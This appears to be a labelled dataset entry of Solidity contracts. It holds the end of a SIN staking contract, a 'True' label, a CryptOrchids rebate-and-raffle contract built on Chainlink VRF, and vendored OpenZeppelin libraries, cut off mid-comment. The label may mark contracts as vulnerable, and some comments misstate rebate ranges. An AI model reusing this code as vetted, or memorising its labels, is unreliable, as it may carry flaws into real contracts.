emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
/**
@notice redeem sSIN for SIN
@param _amount uint
@param _trigger bool
*/
function unstake( uint _amount, bool _trigger ) external {
if ( _trigger ) {
rebase();
}
Lockup memory lock = lockupInfo[ msg.sender ];
require(sSIN.balanceOf(msg.sender) - _amount >= sSIN.balanceForGons( lock.gonsAccount ), "Not enough sSIN for lockup");
sSIN.safeTransferFrom( msg.sender, address(this), _amount );
SIN.safeTransfer( msg.sender, _amount );
emit LogUnstake(msg.sender, _amount);
}
function unstakeLocked(bool _trigger) external{
if (_trigger){
rebase();
}
Lockup memory lock = lockupInfo[ msg.sender ];
if (lock.multiplier >0){
sSIN.safeTransferFrom( msg.sender, address(this), sSIN.balanceForGons( lock.gonsAccount ));
warmupContract.retrieve( address(this), sSIN.balanceForGons( lock.gonsWarmup ));
if (lock.lockTimestamp <= block.timestamp){
SIN.safeTransfer( msg.sender, sSIN.balanceForGons( lock.gonsWarmup + lock.gonsAccount ));
}
else{
SIN.safeTransfer( msg.sender, lock.initialDeposit );
}
delete lockupInfo[ msg.sender ];
}
}
/**
@notice returns the sSIN index, which tracks rebase growth
@return uint
*/
function index() external view returns ( uint ) {
return sSIN.index();
}
/**
@notice trigger rebase if epoch over
*/
function rebase() public {
if( epoch.endTime <= uint32(block.timestamp) ) {
sSIN.rebase( epoch.distribute, epoch.number );
epoch.endTime = epoch.endTime.add32( epoch.length );
epoch.number++;
if ( address(distributor) != address(0) ) {
distributor.distribute();
}
uint balance = contractBalance();
uint staked = sSIN.circulatingSupply();
if( balance <= staked ) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub( staked );
}
emit LogRebase(epoch.distribute);
}
}
/**
@notice returns contract SIN holdings, including bonuses provided
@return uint
*/
function contractBalance() public view returns ( uint ) {
return SIN.balanceOf( address(this) ).add( totalBonus );
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
/**
@notice sets the contract address for LP staking
@param _contract address
*/
function setContract( CONTRACTS _contract, address _address ) external onlyOwner {
if( _contract == CONTRACTS.DISTRIBUTOR ) { // 0
distributor = IDistributor(_address);
} else if ( _contract == CONTRACTS.WARMUP ) { // 1
require( address(warmupContract) == address( 0 ), "Warmup cannot be set more than once" );
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
/**
* @notice set warmup period in epoch's numbers for new stakers
* @param _warmupPeriod uint
*/
function setWarmup( uint _warmupPeriod ) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
import "../Interfaces/ERC721.sol";
import "../Libraries/CurrentTime.sol";
contract Coupon is Ownable, VRFConsumerBase, CurrentTime {
mapping(uint256 => bool) internal redemptions;
uint256 internal constant REBATE_AMOUNT = 20000000000000000;
uint256 internal constant MINT_FLOOR = 40000000000000000;
uint256 public currentRebate;
uint256 public promotionStart;
uint256 public promotionEnd;
address public cryptorchidsERC721;
uint256 public pot;
address[] internal drawingEntries;
bytes32 internal randomWinnerRequestId;
bool public winnerRequested;
address public winner;
bytes32 internal keyHash;
uint256 internal vrfFee;
address public VRFCoordinator;
address public LinkToken;
constructor(
address cryptorchidsAddress,
address _VRFCoordinator,
address _LinkToken,
bytes32 _keyhash
) public payable VRFConsumerBase(_VRFCoordinator, _LinkToken) {
VRFCoordinator = _VRFCoordinator;
LinkToken = _LinkToken;
keyHash = _keyhash;
vrfFee = 2000000000000000000; // 2 LINK
cryptorchidsERC721 = cryptorchidsAddress;
promotionStart = block.timestamp;
promotionEnd = 1622520000;
currentRebate = REBATE_AMOUNT;
}
/** Public function for whether the promotion is open. The promotion is only
* open if the contract balance is greater than the currentRebate. Displayed
* on CryptOrchids nursery for transparency.
* @dev
* @return bool Whether promotion is open for entries.
*/
function promotionOpen() public view returns (bool) {
if (currentTime() > promotionEnd) return false;
uint256 balance = address(this).balance;
if (pot > balance.add(currentRebate)) return false;
if (currentRebate > balance) return false;
return true;
}
/** Check rebate value and eligible tokens. Tokens are valid if they are planted
* after this contract is deployed, alive, and not yet redeemed.
* @dev calls public functions on the CryptOrchids contract to build
* an array of eligible token IDs and a rebate amount.
* @return eligibleTokens uint256[] Uncompacted array of 0s and eligible token IDs
* @return rebateAmount uint256 Eligible tokens * currentRebate
*/
function checkEligibility() public view returns (uint256[] memory eligibleTokens, uint256 rebateAmount) {
uint256 tokenCount = ERC721(cryptorchidsERC721).balanceOf(msg.sender);
eligibleTokens = new uint256[](tokenCount);
uint256 safeBal = safeBalance();
for (uint256 index = 0; index < tokenCount; index++) {
uint256 tokenId = ERC721(cryptorchidsERC721).tokenOfOwnerByIndex(msg.sender, index);
if (redemptions[tokenId] == true) continue;
bool flowering = ERC721(cryptorchidsERC721).flowering(tokenId);
if (!flowering) continue;
(, uint256 plantedAt, , ) = ERC721(cryptorchidsERC721).getTokenMetadata(tokenId);
uint256 rebate = tokenRebate(tokenId);
if (plantedAt > promotionStart && rebateAmount + rebate <= safeBal) {
eligibleTokens[index] = tokenId;
rebateAmount += rebate;
}
}
return (eligibleTokens, rebateAmount);
}
/** Claim ETH for valid tokens. Check for valid tokens before claming.
* @dev calls checkEligibility and sets all eligibleTokens as redeemed.
* Then transfers caller rebateAmount.
*/
function redeem() public virtual returns (uint256) {
uint256 tokenCount = ERC721(cryptorchidsERC721).balanceOf(msg.sender);
uint256 safeBal = safeBalance();
uint256 rebateAmount = 0;
for (uint256 index = 0; index < tokenCount; index++) {
uint256 tokenId = ERC721(cryptorchidsERC721).tokenOfOwnerByIndex(msg.sender, index);
if (redemptions[tokenId] == true) continue;
uint256 rebate = tokenRebate(tokenId);
if (rebateAmount + rebate > safeBal) break;
bool flowering = ERC721(cryptorchidsERC721).flowering(tokenId);
if (!flowering) continue;
(, uint256 plantedAt, , ) = ERC721(cryptorchidsERC721).getTokenMetadata(tokenId);
if (plantedAt < promotionStart) continue;
rebateAmount += rebate;
redemptions[tokenId] = true;
}
require(rebateAmount > 0, "Unpayable");
payable(msg.sender).transfer(rebateAmount);
return rebateAmount;
}
/** Redeem tokens for entries in drawing.
* @dev Adds address to drawingEntries, increments entriesCount, and
* increases pot for each eligible token, while marking each token redeemed.
*/
function enter() public virtual {
uint256 tokenCount = ERC721(cryptorchidsERC721).balanceOf(msg.sender);
uint256 safeBal = safeBalance();
uint256 rebateAmount = 0;
for (uint256 index = 0; index < tokenCount; index++) {
uint256 tokenId = ERC721(cryptorchidsERC721).tokenOfOwnerByIndex(msg.sender, index);
if (redemptions[tokenId] == true) continue;
uint256 rebate = tokenRebate(tokenId);
if (rebateAmount + rebate > safeBal) break;
bool flowering = ERC721(cryptorchidsERC721).flowering(tokenId);
if (!flowering) continue;
(, uint256 plantedAt, , ) = ERC721(cryptorchidsERC721).getTokenMetadata(tokenId);
if (plantedAt < promotionStart) continue;
rebateAmount += rebate;
redemptions[tokenId] = true;
drawingEntries.push(msg.sender);
}
pot += rebateAmount;
}
/** Current rebate amount for new, mintable token. Based on CryptOrchids current price,
* the ramping rebate is intended to address the regrettable FOMO ramp pricing.
* Starts at 0.02ETH, and increases with inverse correlation to price ramp to
* offer effectively straight 0.04 ETH for seeds.
* @dev calls CryptOrchids.currentPrice and finds difference with MINT_FLOOR to return rebate.
*/
function setCurrentRebate() public {
uint256 currentPrice = ERC721(cryptorchidsERC721).currentPrice();
if (currentPrice == MINT_FLOOR) {
currentRebate = REBATE_AMOUNT;
return;
}
currentRebate = currentPrice - MINT_FLOOR;
}
/** Redeemable rebate amount for existing token. Based on the price the token was sold at,
* this prevents a seed holder from redeeming a seed for more than it was purchased for.
* @dev Copies currentPrice and returns rebate amount for tokenId
*/
function tokenRebate(uint256 tokenId) public pure returns (uint256) {
if (tokenId > 9900) {
return 1000000000000000000 - MINT_FLOOR; // 9900+: 0.960 ETH
} else if (tokenId > 9500) {
return 640000000000000000 - MINT_FLOOR; // 9500-9500: 0.60 ETH
} else if (tokenId > 7500) {
return 320000000000000000 - MINT_FLOOR; // 7500-9500: 0.28 ETH
} else if (tokenId > 3500) {
return 160000000000000000 - MINT_FLOOR; // 3500-7500: 0.12 ETH
} else if (tokenId > 1500) {
return 80000000000000000 - MINT_FLOOR; // 1500-3500: 0.04 ETH
} else if (tokenId > 500) {
return 60000000000000000 - MINT_FLOOR; // 500-1500: 0.02 ETH
} else {
return REBATE_AMOUNT; // 0 - 500 0.02 ETH
}
}
/** Current count of rebates available as determined by safeBalance and currentRebate
*/
function rebatesAvailable() public view returns (uint256) {
return SafeMath.div(safeBalance(), currentRebate);
}
/** Current amount availble for refund or to be staked in raffle.
*/
function safeBalance() internal view returns (uint256) {
return (address(this).balance).sub(pot);
}
/** Current amount availble for refund or to be staked in raffle.
*/
function drawingEntriesCount() public view returns (uint256) {
return drawingEntries.length;
}
/** Current amount availble for refund or to be staked in raffle.
*/
function addressEntriesCount() public view returns (uint256) {
uint256 count = 0;
for (uint256 index = 0; index < drawingEntries.length; index++) {
if (drawingEntries[index] == msg.sender) {
count += 1;
}
}
return count;
}
function selectWinner(uint256 userProvidedSeed) public virtual {
require(currentTime() > promotionEnd, "COC:wW:promotion running");
require(randomWinnerRequestId[0] == 0, "COC:wW:winner requested");
require(LINK.balanceOf(address(this)) >= vrfFee, "COC:sW:no LINK");
randomWinnerRequestId = requestRandomness(keyHash, vrfFee, userProvidedSeed);
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
require(requestId == randomWinnerRequestId, "COC:fR:invalid request ID");
uint256 winnerIndex = SafeMath.mod(randomness, drawingEntriesCount());
winner = drawingEntries[winnerIndex];
}
/** Winner may withdraw ether from the contract once the promotion is over.
*
*/
function withdrawWinner() public {
require(currentTime() > promotionEnd, "COC:wW:promotion running");
require(msg.sender == winner, "COC:wW:not winner");
uint256 winnings = pot;
pot = 0;
payable(winner).transfer(winnings);
}
/** Owner may reset the promotion to run again.
*
*/
function reset(uint256 newPromotionEnd) public onlyOwner {
require(currentTime() > promotionEnd, "COC:rst:promotion running");
require(pot == 0, "COC:rst:winnings unclaimed");
delete drawingEntries;
winnerRequested = false;
randomWinnerRequestId = bytes32(0);
winner = address(0);
pot = 0;
promotionEnd = newPromotionEnd;
}
/** Withdraw ether from this contract once the promotion is over.
* @dev Transfer remaining balance to owner if after promotionEnd.
*
*/
function withdrawUnclaimed() public onlyOwner {
require(currentTime() > promotionEnd, "COC:wU:promotion running");
require(pot == 0, "COC:wU:winnings unclaimed");
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./vendor/SafeMathChainlink.sol";
import "./interfaces/LinkTokenInterface.sol";
import "./VRFRequestIDBase.sol";
/** ****************************************************************************
* @notice Interface for contracts using VRF randomness
* *****************************************************************************
* @dev PURPOSE
*
* @dev Reggie the Random Oracle (not his real job) wants to provide randomness
* @dev to Vera the verifier in such a way that Vera can be sure he's not
* @dev making his output up to suit himself. Reggie provides Vera a public key
* @dev to which he knows the secret key. Each time Vera provides a seed to
* @dev Reggie, he gives back a value which is computed completely
* @dev deterministically from the seed and the secret key.
*
* @dev Reggie provides a proof by which Vera can verify that the output was
* @dev correctly computed once Reggie tells it to her, but without that proof,
* @dev the output is indistinguishable to her from a uniform random sample
* @dev from the output space.
*
* @dev The purpose of this contract is to make it easy for unrelated contracts
* @dev to talk to Vera the verifier about the work Reggie is doing, to provide
* @dev simple access to a verifiable source of randomness.
* *****************************************************************************
* @dev USAGE
*
* @dev Calling contracts must inherit from VRFConsumerBase, and can
* @dev initialize VRFConsumerBase's attributes in their constructor as
* @dev shown:
*
* @dev contract VRFConsumer {
* @dev constuctor(<other arguments>, address _vrfCoordinator, address _link)
* @dev VRFConsumerBase(_vrfCoordinator, _link) public {
* @dev <initialization with other arguments goes here>
* @dev }
* @dev }
*
* @dev The oracle will have given you an ID for the VRF keypair they have
* @dev committed to (let's call it keyHash), and have told you the minimum LINK
* @dev price for VRF service. Make sure your contract has sufficient LINK, and
* @dev call requestRandomness(keyHash, fee, seed), where seed is the input you
* @dev want to generate randomness from.
*
* @dev Once the VRFCoordinator has received and validated the oracle's response
* @dev to your request, it will call your contract's fulfillRandomness method.
*
* @dev The randomness argument to fulfillRandomness is the actual random value
* @dev generated from your seed.
*
* @dev The requestId argument is generated from the keyHash and the seed by
* @dev makeRequestId(keyHash, seed). If your contract could have concurrent
* @dev requests open, you can use the requestId to track which seed is
* @dev associated with which randomness. See VRFRequestIDBase.sol for more
* @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind,
* @dev if your contract could have multiple requests in flight simultaneously.)
*
* @dev Colliding `requestId`s are cryptographically impossible as long as seeds
* @dev differ. (Which is critical to making unpredictable randomness! See the
* @dev next section.)
*
* *****************************************************************************
* @dev SECURITY CONSIDERATIONS
*
* @dev A method with the ability to call your fulfillRandomness method directly
* @dev could spoof a VRF response with any random value, so it's critical that
* @dev it cannot be directly called by anything other than this base contract
* @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method).
*
* @dev For your users to trust that your contract's random behavior is free
* @dev from malicious interference, it's best if you can write it so that all
* @dev behaviors implied by a VRF response are executed *during* your
* @dev fulfillRandomness method. If your contract must store the response (or
* @dev anything derived from it) and use it later, you must ensure that any
* @dev user-significant behavior which depends on that stored value cannot be
* @dev manipulated by a subsequent VRF request.
*
* @dev Similarly, both miners and the VRF oracle itself have some influence
* @dev over the order in which VRF responses appear on the blockchain, so if
* @dev your contract could have multiple VRF requests in flight simultaneously,
* @dev you must ensure that the order in which the VRF responses arrive cannot
* @dev be used to manipulate your contract's user-significant behavior.
*
* @dev Since the ultimate input to the VRF is mixed with the block hash of the
* @dev block in which the request is made, user-provided seeds have no impact
* @dev on its economic security properties. They are only included for API
* @dev compatability with previous versions of this contract.
*
* @dev Since the block hash of the block which contains the requestRandomness
* @dev call is mixed into the input to the VRF *last*, a sufficiently powerful
* @dev miner could, in principle, fork the blockchain to evict the block
* @dev containing the request, forcing the request to be included in a
* @dev different block with a different hash, and therefore a different input
* @dev to the VRF. However, such an attack would incur a substantial economic
* @dev cost. This cost scales with the number of blocks the VRF oracle waits
* @dev until it calls responds to a request.
*/
abstract contract VRFConsumerBase is VRFRequestIDBase {
using SafeMathChainlink for uint256;
/**
* @notice fulfillRandomness handles the VRF response. Your contract must
* @notice implement it. See "SECURITY CONSIDERATIONS" above for important
* @notice principles to keep in mind when implementing your fulfillRandomness
* @notice method.
*
* @dev VRFConsumerBase expects its subcontracts to have a method with this
* @dev signature, and will call it once it has verified the proof
* @dev associated with the randomness. (It is triggered via a call to
* @dev rawFulfillRandomness, below.)
*
* @param requestId The Id initially returned by requestRandomness
* @param randomness the VRF output
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal virtual;
/**
* @notice requestRandomness initiates a request for VRF output given _seed
*
* @dev The fulfillRandomness method receives the output, once it's provided
* @dev by the Oracle, and verified by the vrfCoordinator.
*
* @dev The _keyHash must already be registered with the VRFCoordinator, and
* @dev the _fee must exceed the fee specified during registration of the
* @dev _keyHash.
*
* @dev The _seed parameter is vestigial, and is kept only for API
* @dev compatibility with older versions. It can't *hurt* to mix in some of
* @dev your own randomness, here, but it's not necessary because the VRF
* @dev oracle will mix the hash of the block containing your request into the
* @dev VRF seed it ultimately uses.
*
* @param _keyHash ID of public key against which randomness is generated
* @param _fee The amount of LINK to send with the request
* @param _seed seed mixed into the input of the VRF.
*
* @return requestId unique ID for this request
*
* @dev The returned requestId can be used to distinguish responses to
* @dev concurrent requests. It is passed as the first argument to
* @dev fulfillRandomness.
*/
function requestRandomness(bytes32 _keyHash, uint256 _fee, uint256 _seed)
internal returns (bytes32 requestId)
{
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, _seed));
// This is the seed passed to VRFCoordinator. The oracle will mix this with
// the hash of the block containing this request to obtain the seed/input
// which is finally passed to the VRF cryptographic machinery.
uint256 vRFSeed = makeVRFInputSeed(_keyHash, _seed, address(this), nonces[_keyHash]);
// nonces[_keyHash] must stay in sync with
// VRFCoordinator.nonces[_keyHash][this], which was incremented by the above
// successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest).
// This provides protection against the user repeating their input seed,
// which would result in a predictable/duplicate output, if multiple such
// requests appeared in the same block.
nonces[_keyHash] = nonces[_keyHash].add(1);
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface immutable internal LINK;
address immutable private vrfCoordinator;
// Nonces for each VRF key from which randomness has been requested.
//
// Must stay in sync with VRFCoordinator[_keyHash][this]
mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces;
/**
* @param _vrfCoordinator address of VRFCoordinator contract
* @param _link address of LINK token contract
*
* @dev https://docs.chain.link/docs/link-token-contracts
*/
constructor(address _vrfCoordinator, address _link) public {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external {
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
interface ERC721 {
enum Stage {Unsold, Seed, Flower, Dead}
struct CryptOrchid {
string species;
uint256 plantedAt;
uint256 waterLevel;
}
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata data
) external payable;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) external payable;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) external payable;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external payable;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
function flowering(uint256 tokenId) external view returns (bool);
function currentPrice() external view returns (uint256 price);
function getTokenMetadata(uint256 tokenId)
external
view
returns (
string memory,
uint256,
uint256,
Stage
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
contract CurrentTime {
function currentTime() internal view virtual returns (uint256) {
return block.timestamp;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
